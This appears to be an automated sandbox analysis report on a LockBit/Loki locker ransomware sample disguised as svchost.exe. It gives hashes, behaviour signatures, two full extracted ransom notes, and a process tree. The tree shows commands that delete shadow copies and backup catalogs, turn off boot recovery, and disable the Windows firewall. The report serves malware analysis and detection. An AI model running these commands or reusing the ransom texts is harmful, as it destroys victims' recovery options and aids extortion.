Overview

overview

10

Static

static

svchost.exe

windows7_x64

10

svchost.exe

windows10_x64

10

Analysis

  • max time kernel
    199s
  • max time network
    201s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    30/08/2021, 13:44

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    svchost.exe

  • Size

    272KB

  • MD5

    35ebfdabce6eac99d7849916182486d1

  • SHA1

    ea77ddfb8947e5145928937170e8eb29973d05fd

  • SHA256

    84d9ef8cb92d57b178cce655f3f7808c6f5cf42f15c468f741b253f37ffc39fc

  • SHA512

    ea7e7303fa17634c635fa7f0f9a3c3957c52f74bd871d98c54df9ebb1237fa917c6b09293327b815c9793e9374a6d4b92342fc8c0b5f80954797b77ebaa158c6

Score
10/10
lockbitevasionransomwaretrojan

Malware Config

Extracted

Path

C:\Restore-My-Files.txt

Family

lockbit

Ransom Note
All your important files are encrypted! There is only one way to get your files back: 1. Contact with us 2. Send us 1 any encrypted your file and your personal id 3. We will decrypt 1 file for test(maximum file size - 2MG), it is guarantee what we can decrypt your files 4. Pay 5. We send for you decryptor software We accept Bitcoin Attention! Do not rename encrypted files. Do not try to decrypt using third party software, it may cause permanent data loss. Decryption of your files with the help if third parties may cause increase price(they add their fee to our) Contact information: [email protected] Be sure to duplicate your message on the e-mail: [email protected] Your personal id: C9265D77

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\info.hta

Ransom Note
Loki locker All your important files have been encrypted If you want to restore them, write us to the e-mail [email protected] Write this ID in the title of your message C9265D77 In case of no answer in 24 hours write us to this e-mail: [email protected] Free decryption as guarantee Before paying you can send us 1 file for free decryption. The total size of files must be less than 2Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) How to obtain Bitcoins The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price. https://localbitcoins.com/buy_bitcoins Also you can find other places to buy Bitcoins and beginners guide here: http://www.coindesk.com/information/how-can-i-buy-bitcoins/ Attention! Do not rename encrypted files. Do not try to decrypt your data using third party software, it may cause permanent data loss. Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Signatures

  • Lockbit

    Ransomware family with multiple variants released since late 2019.

    ransomwarelockbit
  • Modifies Windows Defender Real-time Protection settings 3 TTPs
    evasiontrojan
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Drops startup file 2 IoCs
  • Drops desktop.ini file(s) 31 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 5 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    1⤵
    • Modifies extensions of user files
    • Drops startup file
    • Drops desktop.ini file(s)
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies Control Panel
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:528
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C vssadmin delete shadows /all /quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:628
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:1140
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C wmic shadowcopy delete
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1976
    • C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C wbadmin delete catalog -quiet
      2⤵
        PID:1152
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
        2⤵
          PID:2028
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C bcdedit /set {default} recoveryenabled no
          2⤵
            PID:1640
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /C netsh advfirewall set currentprofile state off
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1820
            • C:\Windows\SysWOW64\netsh.exe
              netsh advfirewall set currentprofile state off
              3⤵
                PID:328
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /C netsh firewall set opmode mode=disable
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:900
              • C:\Windows\SysWOW64\netsh.exe
                netsh firewall set opmode mode=disable
                3⤵
                  PID:952
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta"
                2⤵
                • Modifies Internet Explorer settings
                PID:1140
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta"
                2⤵
                • Modifies Internet Explorer settings
                PID:2036
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta"
                2⤵
                • Modifies Internet Explorer settings
                PID:1152
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta"
                2⤵
                • Modifies Internet Explorer settings
                PID:1676
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\info.hta"
                2⤵
                • Modifies Internet Explorer settings
                PID:1760
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:748
            • C:\Windows\system32\NOTEPAD.EXE
              "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\Restore-My-Files.txt
              1⤵
                PID:1832
              • C:\Windows\system32\AUDIODG.EXE
                C:\Windows\system32\AUDIODG.EXE 0x544
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1344

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • memory/328-74-0x0000000075FF1000-0x0000000075FF3000-memory.dmp

                Filesize

                8KB

                Download

              • memory/528-63-0x0000000004693000-0x0000000004694000-memory.dmp

                Filesize

                4KB

                Download

              • memory/528-61-0x00000000045F0000-0x000000000462C000-memory.dmp

                Filesize

                240KB

                Download

              • memory/528-60-0x0000000002060000-0x000000000209E000-memory.dmp

                Filesize

                248KB

                Download

              • memory/528-64-0x0000000004694000-0x0000000004696000-memory.dmp

                Filesize

                8KB

                Download

              • memory/528-62-0x0000000004692000-0x0000000004693000-memory.dmp

                Filesize

                4KB

                Download

              • memory/528-80-0x0000000005450000-0x0000000005454000-memory.dmp

                Filesize

                16KB

                Download

              • memory/528-59-0x0000000004691000-0x0000000004692000-memory.dmp

                Filesize

                4KB

                Download

              • memory/1832-78-0x000007FEFBBB1000-0x000007FEFBBB3000-memory.dmp

                Filesize

                8KB

                Download